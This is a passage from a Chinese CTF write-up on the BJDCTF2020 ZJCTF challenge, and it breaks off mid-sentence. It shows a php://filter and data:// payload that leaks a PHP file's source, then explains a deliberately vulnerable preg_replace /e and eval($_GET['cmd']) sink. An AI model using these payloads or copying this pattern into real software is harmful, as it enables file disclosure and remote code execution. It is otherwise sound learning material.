前言:文章可能有点长,小弟不才,只能靠刷ctf来理解一些内容。若有不恰当之处,望大佬们不吝赐教。
一、[BJDCTF2020]ZJCTF
先做一道ctf压压惊:
[BJDCTF2020]ZJCTF
构建以下payload,进入if判断,并且进入include()函数
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
得到next.php的base64加密的密文,解码获得next.php的源码:
$id=$_GET['id'];
$_SESSION['id']=$id;
functioncomplex($re,$str){
returnpreg_replace(
'/('.$re.')/ei','strtolower("\\1")',$str
);
}
foreach($_GETas$re=>$str){
echo complex($re,$str)."\n";
}
functiongetFlag(){
@eval($_GET['cmd']);
}
这段代码大致意思是:先看可执行的,再看定义的函数
获取get的所有传参,对get传参键值分离,分别赋值给$re、$str ,作为参数放进complex()自定义的函数。Complex函数用来匹配$re里面的内容,并且为/ei 模式。/i表示不分大小写,/e表示啥?不懂,但是查一下可知,preg_replace的/e模式下有代码执行漏洞。即/e 修正符使 preg_replace() 将 replacement 参数(第二个参数,字符串)当作 PHP 代码执行。
也就是说:
preg_replace(&#